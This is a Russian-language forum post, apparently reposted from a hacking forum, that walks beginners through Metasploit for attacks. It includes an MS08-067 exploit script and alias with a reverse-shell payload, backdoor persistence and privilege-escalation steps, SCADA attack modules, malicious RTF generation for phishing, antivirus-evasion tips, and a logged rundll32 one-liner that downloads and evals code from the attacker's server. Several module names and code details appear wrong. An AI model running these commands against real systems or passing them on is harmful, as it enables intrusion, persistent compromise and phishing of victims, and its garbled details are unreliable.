Неочевидные функции Metasploit: Руководство для новичков

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: sithortodox
Источник: https://xss.is/threads/111292/

Введение: Погружение в мир Metasploit: что это и зачем нужно?​

Metasploit - это не просто инструмент, это целая экосистема для специалистов по информационной безопасности. В основе этой экосистемы лежит Metasploit Framework - open-source фреймворк, который предоставляет широкий спектр инструментов для тестирования на проникновение (пентеста).

С помощью Metasploit можно:

Искать уязвимости:
Фреймворк содержит обширную базу данных эксплойтов, которые можно использовать для поиска уязвимостей в различных системах и приложениях.
Проводить атаки: Metasploit позволяет использовать найденные уязвимости для проведения атак и получения доступа к целевым системам.
Собирать информацию: После успешной атаки Metasploit можно использовать для сбора информации с целевой системы, такой как пароли, файлы и другие конфиденциальные данные.
Закрепляться в системе: Metasploit позволяет устанавливать на скомпрометированной системе различные бэкдоры и трояны, чтобы обеспечить постоянный доступ к ней.
Автоматизировать задачи: Metasploit предоставляет возможность автоматизировать многие рутинные задачи, связанные с пентестом.

Metasploit - это мощный инструмент, который может быть использован как для благих, так и для злонамеренных целей. Важно понимать, что использование Metasploit против систем, на которые у вас нет разрешения, является незаконным.
В этом руководстве мы сфокусируемся на неочевидных функциях Metasploit, которые могут быть полезны как начинающим, так и опытным пентестерам.

Зачем?​

Изучение неочевидных функций Metasploit дает вам ряд преимуществ:
Более глубокое понимание фреймворка: Вы сможете использовать Metasploit более эффективно, если будете знать о всех его возможностях.
Повышение эффективности: Неочевидные функции могут помочь вам автоматизировать рутинные задачи и выполнять сложные атаки.
Улучшение навыков пентеста: Изучение новых функций Metasploit поможет вам стать более квалифицированным специалистом по информационной безопасности.
Готовы погрузиться в мир Metasploit? Тогда перейдем к изучению его секретов!

К неочевидным функциям Metasploit можно отнести:
Использование модулей post-exploitation:
Эти модули позволяют выполнять различные действия на скомпрометированной системе, например, собирать информацию, устанавливать бэкдоры и повышать привилегии.
Автоматизация задач: Metasploit предоставляет возможность автоматизировать многие рутинные задачи с помощью скриптов и API.
Взлом нестандартных сервисов: Metasploit можно использовать для атаки на различные нестандартные сервисы, такие как IoT-устройства, SCADA-системы и веб-приложения.
Социальная инженерия: Metasploit содержит модули, которые можно использовать для проведения фишинговых атак и создания вредоносных документов.

Магия модулей: Поиск по ключевым словам: находим то, что нужно​

Metasploit Framework содержит огромное количество модулей, которые можно использовать для различных целей. Найти нужный модуль в этом море возможностей может быть непросто. К счастью, Metasploit предоставляет удобный механизм поиска по ключевым словам.

Как это работает?

Команда search позволяет искать модули по ключевым словам. Например, чтобы найти все модули, связанные с операционной системой Windows, можно выполнить следующую команду:
search windows

1711366943007.png



В результате будет выведен список всех модулей, в названии или описании которых упоминается слово "windows".

Поиск эксплойта для конкретной уязвимости: Допустим, вы знаете, что в веб-сервере Apache существует уязвимость с идентификатором CVE-2021-41773. Чтобы найти эксплойт для этой уязвимости, можно выполнить следующую команду:
search cve-2021-41773

1711366986473.png



Поиск модулей по типу: Metasploit классифицирует модули по типам, таким как эксплойты, вспомогательные модули и модули post-exploitation. Чтобы найти все вспомогательные модули, можно выполнить следующую команду:
search type:auxiliary

1711367020429.png



Используйте кавычки, чтобы найти точное совпадение. Например, чтобы найти модули, связанные с конкретным веб-сервером "nginx", используйте кавычки:
search "nginx"

1711367059682.png



Используйте несколько ключевых слов, чтобы сузить поиск. Например, чтобы найти эксплойты для Windows 10, можно выполнить следующую команду:
search windows 10 exploit

1711367093230.png



Используйте символ -, чтобы исключить результаты поиска. Например, чтобы найти все модули, связанные с Windows, но не с Windows 10, можно выполнить следующую команду:
search windows -10

Магия модулей: Фильтрация по платформам и типам: точный выбор инструмента​

Поиск по ключевым словам - это отличный способ найти нужные модули Metasploit, но иногда вам может понадобиться более точный инструмент. Metasploit позволяет фильтровать модули по платформам и типам, что помогает быстро найти нужный инструмент для конкретной задачи.

Фильтрация по платформам:
Metasploit классифицирует модули по платформам, таким как Windows, Linux, macOS, Android и iOS. Чтобы найти все модули, которые можно использовать для атаки на конкретную платформу, можно использовать опцию -p команды search. Например, чтобы найти все модули для Linux, можно выполнить следующую команду:
search -p linux

1711367149198.png



Фильтрация по типам:
Metasploit также классифицирует модули по типам, таким как эксплойты, вспомогательные модули, модули post-exploitation, payloads и encoders. Чтобы найти все модули определенного типа, можно использовать опцию -t команды search. Например, чтобы найти все эксплойты, можно выполнить следующую команду:
search -t exploit

1711367181126.png



Сочетание фильтров:
Вы можете сочетать фильтры по платформам и типам, чтобы еще более точно настроить поиск. Например, чтобы найти все payload для Linux, который обеспечивает обратную оболочку, можно выполнить следующую команду:
search -p linux -t payload shell_reverse_tcp

1711367210094.png



Магия модулей: Использование модулей post-exploitation: закрепляемся на системе​

После того, как вы получили доступ к целевой системе, важно закрепиться на ней, чтобы сохранить контроль и продолжить сбор информации. Metasploit предоставляет широкий спектр модулей post-exploitation, которые помогут вам в этом.

Что такое модули post-exploitation?
Модули post-exploitation - это модули Metasploit, которые предназначены для выполнения различных действий на скомпрометированной системе. Они могут быть использованы для сбора информации, повышения привилегий, установки бэкдоров и многого другого.
Допустим, вы получили доступ к системе Windows с помощью эксплойта. Теперь вы хотите закрепиться на этой системе и собрать информацию. Вот как вы можете сделать это с помощью модулей post-exploitation:
Загрузите модуль post/windows/gather/enum_applications:
use post/windows/gather/enum_applications
Установите параметры модуля, например, SESSION, чтобы указать номер сессии Meterpreter.
Запустите модуль:
run

1711367255009.png



Модуль соберет информацию об установленных на системе приложениях и выведет ее на экран.

Повышение привилегий:
Загрузите модуль post/windows/escalate/getsystem:
use post/windows/escalate/getsystem
Установите параметры модуля, например, SESSION.
Запустите модуль:
run

1711367290552.png



Модуль попытается повысить привилегии до SYSTEM.

Установка бэкдора:
Загрузите модуль post/windows/manage/persistence_exe:
use post/windows/manage/persistence_exe
Установите параметры модуля, например, SESSION, EXE::path (путь к исполняемому файлу бэкдора) и STARTUP::NAME (имя бэкдора в автозагрузке).
Запустите модуль:
run

1711367332750.png



Модуль установит бэкдор, который будет автоматически запускаться при загрузке системы.

Автоматизация рутины: Resource scripts: повторяем действия одним кликом​

Metasploit Framework - это мощный инструмент, но он может быть довольно громоздким в использовании. Часто вам приходится выполнять одни и те же действия снова и снова, что может быть утомительно и отнимать много времени.
Resource scripts - это способ автоматизировать повторяющиеся действия в Metasploit. Скрипт - это просто текстовый файл, содержащий команды Metasploit, которые будут выполнены последовательно.
Как использовать resource scripts?
Чтобы использовать resource script, нужно сохранить его в файле с расширением .rc и затем загрузить его в Metasploit с помощью команды resource. Например, чтобы загрузить скрипт myscript.rc, нужно выполнить следующую команду:
resource myscript.rc
Пример скрипта:
Код: Скопировать в буфер обмена
Код:
use exploit/windows/smb/ms08_067_netapi

set RHOST 192.168.1.100

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.1.1

exploit

Этот скрипт автоматизирует процесс эксплуатации уязвимости MS08-067 на хосте 192.168.1.100 и получения обратной оболочки Meterpreter на хосте 192.168.1.1.

Преимущества resource scripts:
Автоматизация рутинных задач:
Resource scripts позволяют автоматизировать повторяющиеся действия, что экономит ваше время и силы.
Повышение точности: Resource scripts помогают избежать ошибок, которые могут возникнуть при ручном выполнении команд.
Совместное использование: Resource scripts можно легко передавать другим людям, что позволяет вам делиться своими методами и наработками.

Автоматизация рутины: Создание и использование псевдонимов (aliases): сокращаем время работы​

Часто вам приходится вводить длинные и сложные команды, что может быть утомительно и отнимать много времени.
Псевдонимы (aliases) - это способ сократить время работы с Metasploit, создавая короткие имена для часто используемых команд.
Как создавать псевдонимы?
По умолчанию плагины недоступны в Metasploit. Загрузим плагин псевдонима:
load alias
Чтобы создать псевдоним, используйте команду alias. Например, чтобы создать псевдоним show для команды show payloads, выполните следующую команду:
alias show show payloads
Теперь вы можете просто ввести show, чтобы вывести список всех payloads.

1711367485986.png



Создание псевдонима для нескольких команд:
alias exploit_ms08_067 "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.0.104; exploit"
Псевдоним exploit_ms08_067 объединяет три команды Metasploit в одну:
use exploit/windows/smb/ms08_067_netapi: Эта команда загружает модуль эксплойта MS08-067, который используется для атаки на уязвимость в службе Server Message Block (SMB) в операционных системах Windows.
set RHOST 192.168.0.104: Эта команда устанавливает целевой хост для эксплойта. В данном случае это IP-адрес 192.168.0.104.
exploit: Эта команда запускает эксплойт.

Таким образом, псевдоним exploit_ms08_067 позволяет одним нажатием клавиши загрузить эксплойт MS08-067, установить целевой хост и запустить атаку. Это может быть очень удобно, если вы часто используете этот эксплойт.

Преимущества псевдонимов:
Сокращение времени работы:
Псевдонимы позволяют сократить время ввода команд, что повышает вашу эффективность.
Упрощение работы: Псевдонимы делают работу с Metasploit более простой и удобной.
Повышение точности: Псевдонимы помогают избежать ошибок, которые могут возникнуть при ручном вводе длинных и сложных команд.

Автоматизация рутины: Автоматизация задач с помощью Metasploit Framework API​

API предоставляет программный интерфейс к фреймворку, который можно использовать для написания скриптов и программ, автоматизирующих различные действия.

Преимущества использования Metasploit Framework API:
Гибкость
: API позволяет автоматизировать практически любую задачу, которую можно выполнить с помощью Metasploit.
Мощность: API предоставляет доступ ко всем функциям Metasploit, что позволяет вам создавать очень мощные скрипты и программы.
Интеграция: API можно использовать для интеграции Metasploit с другими инструментами и системами.

Примеры использования Metasploit Framework API:
Автоматизация сканирования уязвимостей
: Вы можете написать скрипт, который будет автоматически сканировать сеть на наличие уязвимостей и создавать отчет о результатах.
Автоматизация эксплуатации уязвимостей: Вы можете написать скрипт, который будет автоматически эксплуатировать найденные уязвимости и получать доступ к системам.
Создание собственных инструментов безопасности: Вы можете использовать API для создания собственных инструментов безопасности, например, инструмента для автоматического тестирования на проникновение.

Пример скрипта:

Python: Скопировать в буфер обмена
Код:
from msfconsole import MsfRpcClient

client = MsfRpcClient('password')

exploit = client.modules.use('exploit', 'windows/smb/ms08_067_netapi')

exploit['RHOST'] = '192.168.1.100'

exploit.execute()

Этот скрипт Python подключается к Metasploit Framework API и автоматизирует процесс эксплуатации уязвимости MS08-067 на хосте 192.168.1.100.

Скрипт автоматизации сбора информации:

Python: Скопировать в буфер обмена
Код:
from msfconsole import MsfRpcClient

client = MsfRpcClient('password')

# Загружаем модуль post-exploitation для сбора информации о системе

post_module = client.modules.use('post', 'windows/gather/enum_system')

# Устанавливаем параметры модуля

post_module['SESSION'] = 1 # Номер сессии Meterpreter

# Запускаем модуль

post_module.execute()

# Выводим собранную информацию

print(post_module.result)

Этот скрипт Python подключается к Metasploit Framework API и автоматизирует процесс сбора информации о скомпрометированной системе Windows.

Взлом нестандартных сервисов: Поиск и использование модулей для SCADA-систем​

SCADA-системы (Supervisory Control And Data Acquisition) - это системы управления и сбора данных, которые используются для управления промышленными процессами. SCADA-системы часто используются в критически важных инфраструктурах, таких как электростанции, водоочистные сооружения и нефтепроводы.
SCADA-системы часто имеют слабую защиту, что делает их уязвимыми для атак. Metasploit Framework содержит ряд модулей, которые можно использовать для поиска и эксплуатации уязвимостей в SCADA-системах.

Поиск модулей для SCADA-систем:

Чтобы найти модули Metasploit, которые можно использовать для атаки на SCADA-системы, можно использовать команду search с ключевыми словами, такими как "scada", "modbus", "dnp3" и "iec104".
Например, чтобы найти все модули, связанные с протоколом Modbus, можно выполнить следующую команду:
search modbus

Использование модулей для SCADA-систем:

После того, как вы нашли модуль Metasploit, который можно использовать для атаки на SCADA-систему, вам необходимо:
Загрузить модуль:
use auxiliary/scanner/scada/modbus_banner_grabbing
Установить параметры модуля:
Каждый модуль имеет свой набор параметров, которые необходимо установить перед его запуском.

1711367657416.png



Примеры модулей Metasploit для SCADA-систем:
exploit/windows/scada/modbus_client_overflow:
Эксплойт для уязвимости переполнения буфера в клиенте Modbus.
auxiliary/scanner/scada/modbus_version: Вспомогательный модуль для определения версии протокола Modbus, используемого SCADA-системой.
post/windows/scada/modbus_write_register: Модуль post-exploitation для записи значений в регистры Modbus.

Взлом нестандартных сервисов: Атака на веб-приложения с помощью Metasploit​

Metasploit содержит множество модулей, которые можно использовать для поиска и эксплуатации уязвимостей в веб-приложениях.
Поиск модулей для атаки на веб-приложения:
Чтобы найти модули Metasploit, которые можно использовать для атаки на веб-приложения, можно использовать команду search с ключевыми словами, такими как "web", "http", "sql", "xss" и "csrf".
Например, чтобы найти все модули, связанные с SQL-инъекциями, можно выполнить следующую команду:
search sql

Эксплуатация уязвимости межсайтового скриптинга (XSS):
Межсайтовый скриптинг (XSS) - это тип уязвимости, который позволяет злоумышленнику внедрять вредоносные скрипты в веб-страницу. Эти скрипты могут использоваться для кражи файлов cookie пользователей, перенаправления пользователей на вредоносные веб-сайты или выполнения других вредоносных действий.
Metasploit содержит ряд модулей, которые можно использовать для эксплуатации уязвимостей XSS. Например, модуль exploit/multi/browser/java_rhino можно использовать для эксплуатации уязвимостей XSS в веб-приложениях, использующих движок JavaScript Java Rhino.
Чтобы использовать этот модуль, вам необходимо:
Загрузить модуль:
use exploit/multi/browser/java_rhino
Установить параметры модуля:
SRVHOST: IP-адрес сервера Metasploit.
SRVPORT: Порт сервера Metasploit.
URI: URI уязвимой веб-страницы.
PAYLOAD: Полезная нагрузка, которая будет выполнена при эксплуатации уязвимости XSS.

Запустить модуль:
run

Модуль сгенерирует вредоносный URL-адрес, который можно использовать для эксплуатации уязвимости XSS. Когда пользователь посещает этот URL-адрес, полезная нагрузка будет выполнена на его компьютере.
Пример:
msf6 > use exploit/multi/browser/java_rhino
[I]msf6 exploit(multi/browser/java_rhino) > set SRVHOST 192.168.1.1[/I]
[I]SRVHOST => 192.168.1.1[/I]
[I]msf6 exploit(multi/browser/java_rhino) > set SRVPORT 8080[/I]
[I]SRVPORT => 8080[/I]
[I]msf6 exploit(multi/browser/java_rhino) > set URI /vulnerable.php[/I]
[I]URI => /vulnerable.php[/I]
[I]msf6 exploit(multi/browser/java_rhino) > set PAYLOAD windows/meterpreter/reverse_tcp[/I]
[I]PAYLOAD => windows/meterpreter/reverse_tcp[/I]
[I]msf6 exploit(multi/browser/java_rhino) > run[/I]


[I][*] Exploit running as background job 0.[/I]
[I][*] Started reverse TCP handler on 192.168.1.1:4444 [/I]
[I][*] Using URL: http://192.168.1.1:8080/[/I]
[I][*] Server started.[/I]
[I][*] Run the following command on the target machine:[/I]
[*] rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.1:8080/",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

Социальная инженерия: Генерация вредоносных документов​

Вредоносные документы часто используются в фишинговых атаках, когда злоумышленники пытаются обманом заставить пользователей открыть вредоносный документ.
Metasploit Framework содержит ряд модулей, которые можно использовать для генерации вредоносных документов.
Поиск модулей для генерации вредоносных документов:
Чтобы найти модули Metasploit, которые можно использовать для генерации вредоносных документов, можно использовать команду search с ключевыми словами, такими как "document", "office" и "macro".
Например, чтобы найти все модули, связанные с документами Microsoft Office, можно выполнить следующую команду:
search office

Допустим, вы хотите создать вредоносный документ Microsoft Word, который будет выполнять полезную нагрузку Meterpreter при открытии. Вы можете использовать модуль exploit/windows/fileformat/ms10_087_rtf_pfragments_bof для этой цели.
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof

1711367699269.png



Устанавливаем параметры модули и запускаем. Модуль создаст вредоносный документ Microsoft Word с именем malicious.rtf.

1711367730804.png


1711367746920.png



Само собой детектиться данный файл не будет только самыми ленивыми АВ. Но, главное, получить удочку).
Некоторые из этих удочек включают в себя:
Использование новых эксплойтов: Можно использовать новые эксплойты, которые еще не были обнаружены антивирусными программами.
Использование обфускации: Можно использовать обфускацию, чтобы скрыть вредоносный код от антивирусных программ.
Использование социальной инженерии: Можно использовать социальную инженерию, чтобы обманом заставить пользователей отключить антивирусные программы или открыть вредоносные документы.

Metasploit: больше, чем просто инструмент для пентеста​

Metasploit Framework - это мощный инструмент, который можно использовать для тестирования на проникновение (пентеста). Однако Metasploit - это больше, чем просто инструмент для пентеста.
Metasploit можно использовать для:
Исследования уязвимостей:

Metasploit можно использовать для исследования уязвимостей в программном обеспечении и системах. Metasploit содержит множество модулей, которые можно использовать для поиска и эксплуатации уязвимостей.
Например, модуль auxiliary/scanner/http/title можно использовать для сканирования веб-серверов на наличие уязвимостей.

Разработки эксплойтов: Metasploit может быть использован в качестве дополнительного инструмента для разработки эксплойтов для уязвимостей.

Обучения:
Metasploit можно использовать для обучения основам информационной безопасности и тестирования на проникновение. Metasploit - это отличный инструмент для обучения, потому что он позволяет пользователям безопасно практиковаться в атаках на уязвимые системы.
Например, Metasploitable - это виртуальная машина, которая содержит множество уязвимостей. Пользователи могут использовать Metasploit для атаки на Metasploitable и изучения различных методов тестирования на проникновение.

Важно! Metasploit Framework - это мощный инструмент, который может быть использован как для благих, так и для злонамеренных целей. Важно понимать, что использование Metasploit против систем, на которые у вас нет разрешения, является незаконным.
 
Сверху Снизу